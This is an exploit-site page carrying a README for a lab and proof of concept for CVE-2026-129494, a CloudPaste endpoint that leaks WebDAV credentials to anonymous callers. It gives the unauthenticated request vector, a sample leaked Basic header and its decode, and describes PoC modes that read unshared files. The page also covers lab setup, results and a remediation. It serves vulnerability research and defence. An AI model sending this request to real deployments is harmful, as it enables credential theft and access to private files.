Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus • November 16, 2026

# CVE-2026-129494 — CloudPaste: the unauthenticated `/api/proxy/link` endpoint returns WebDAV storage credentials

[![License: MIT](

[![Research status: validated](

| **Component** | ling-drag0n/CloudPaste — `backend/src/routes/proxyLinkRoutes.js` (`POST /api/proxy/link`), branch via `LinkService.getShareUpstreamLink` → `WebDavStorageDriver.generateUpstreamRequest` |

| **Affected** | 1.1.0 – 1.9.1 (the vendor's 1.9.2 image still leaks — see §7) |

| **Fixed in** | no genuine vendor fix verified at publication time; this laboratory's fixed side is v1.9.1 source + a hash-checked synthetic remediation (documented as such) |

| **CWE** | CWE-306 (Missing Authentication for Critical Function), CWE-522 (Insufficiently Protected Credentials) |

| **Impact** | Full WebDAV storage compromise from one anonymous request: the branch of `/api/proxy/link` returns the upstream URL **and** the Basic Authorization header built from the WebDAV account — so anyone who knows a public slug can read, modify, and delete every file on the backing WebDAV service, including files never shared through CloudPaste |

| **Vector** | Network, unauthenticated — `POST /api/proxy/link` with `{"type":" ","slug":""}` |

| **Trigger** | a whose storage is WebDAV with `use_proxy=0`; the driver hands its `Authorization: Basic …` header to the endpoint, which returns it unchanged |

| **Credit** | advisory at vul.yulun.ac.cn/20261115/cloudpaste/ |

`POST /api/proxy/link` exists so a reverse proxy can resolve upstream

addresses. It has no authentication middleware; for a WebDAV-backed

it returns the upstream URL **and** the Basic Authorization header

the WebDAV driver builds from the storage configuration — handing the

{"code":200,"data":{"url":"

"header":{"Authorization":["Basic ZGF2dXNlcjpkYXZwYXNzLVNFQ1JFVA=="]}}}

`echo ZGF2dXNlcjpkYXZwYXNzLVNFQ1JFVA== | base64 -d` →

`davuser:davpass-SECRET`. This laboratory runs the **vendor's published

container image** for the vulnerable side, a stdlib WebDAV stub with one

shared and one never-shared file, and proves the full chain: one

anonymous request → credentials → read the unshared file.

proxyLinkRoutes.post("/api/proxy/link", async (c) => {

// no authentication middleware — anonymous callers reach every branch

const storageLink = await linkService.getShareUpstreamLink(file, ...);

header: normalizeHeaders(storageLink.headers || {}), // ← credentials

`getShareUpstreamLink` → `driver.generateUpstreamRequest` (WebDAV

driver) encodes the configured account into the header:

if (auth) headers["Authorization"] = [auth];

The endpoint was designed for a trusted reverse proxy; nothing enforces

that trust. Preconditions (a public WebDAV-backed ) are the

| `cp-vuln` | `dragon730/cloudpaste-backend:1.9.1` (vendor image, digest-pinned at pull) | the affected release |

| `cp-fixed` | `cve-2026-129494:fixed` — v1.9.1 source + `lab/patch-fixed.py` (hash-checked): the endpoint is internal-secret gated | the remediation shape |

| `cp-dav` | `cve-2026-129494-davstub:local` | stdlib WebDAV stub (Basic auth): `private.txt` (shared) + `admin-notes.txt` (never shared) |

| `poc` | `cve-2026-129494-poc:local` | stdlib-only Python driver |

The vendor image keeps its state in a `/data` volume (SQLite);

administrative setup (login, storage config, mount, ) is driven

through the product's own HTTP API exactly as in the advisory.

./run-lab.sh build # pulls the pinned vendor image, builds stub + PoC

./run-lab.sh up # cve129494lab network: cp-vuln, cp-fixed, cp-dav

./run-lab.sh sweep # check / exploit / probe / mitigation on both sides

`poc/poc.py` (stdlib only; mirrors the advisory's chain):

* **check** — admin setup once (storage/mount/ ) then one anonymous

`POST /api/proxy/link`. Exit 1 vulnerable, 0 safe, 3 no worker,

* **exploit** — setup → anonymous leak → decode the Basic header →

read the **never-shared** `admin-notes.txt` from the WebDAV stub with

the leaked account → full compromise statement.

* **probe** — endpoint matrix: anonymous link, bad slug, empty

* **mitigation** — no verified vendor fix (1.9.2 image still leaks);

the fixed container is the form a fix takes; deployment mitigation is

ACLing `/api/proxy/link` to the reverse proxy at the edge.

| run | `cp-vuln` (1.9.1) | `cp-fixed` (synthetic) |

| `check` anonymous link | **HTTP 200 + `Authorization: Basic …` → `davuser:davpass-SECRET`** | HTTP 403 `proxy link endpoint is internal-only` |

| `exploit` unshared-file read | **HTTP 200 `WEBDAV-UNSHARED-DATA`** | (no credentials) |

| `probe` bad slug / empty slug / bad type / empty body | 404 / 400 / 400 / 400 (upstream validation intact) | 403 on every form |

Captured runs: `evidence/check-*-run.txt`, `evidence/exploit-*-run.txt`,

`evidence/probe-*-run.txt`, `evidence/mitigation-*-run.txt`,

`evidence/versions.txt`, `evidence/0day-sweep.txt`.

* Podman (or Docker) with network-creation rights; every container

bounded on the isolated `cve129494lab` network.

* Outbound network at build (Docker Hub: the vendor image; GitHub +

## 7. Additional findings (0-day sweep on the fixed line)

The endpoint matrix is the surface sweep (`evidence/0day-sweep.txt`).

The remediated build refuses every anonymous form with 403; the shipped

build validates slugs/types identically but leaks on the one reachable

form. **The vendor's 1.9.2 image leaks identically to 1.9.1** (verified

against `dragon730/cloudpaste-backend:1.9.2`, digest

`b17f43129cfe8…`, 2026-11-16): the commit the advisory names as the

patch (`282ea1c`) does not remediate the endpoint in the published

image — this laboratory treats that as an unremediated-upstream finding

and uses a documented synthetic remediation for the differential.

run-lab.sh environment driver (build / up / sweep / down)

Makefile convenience targets

poc/poc.py the PoC (check / exploit / probe / mitigation)

poc/Dockerfile runner image (python:3.12-alpine)

lab/fixed.Dockerfile source build of the remediated backend

lab/patch-fixed.py the hash-checked synthetic remediation

lab/davstub.py stdlib WebDAV stub (shared + unshared files)

evidence/ captured runs of every mode on both sides

TRACKING.md excluded (working record)

* CVE record —

* Advisory —

* CloudPaste — (issue #223)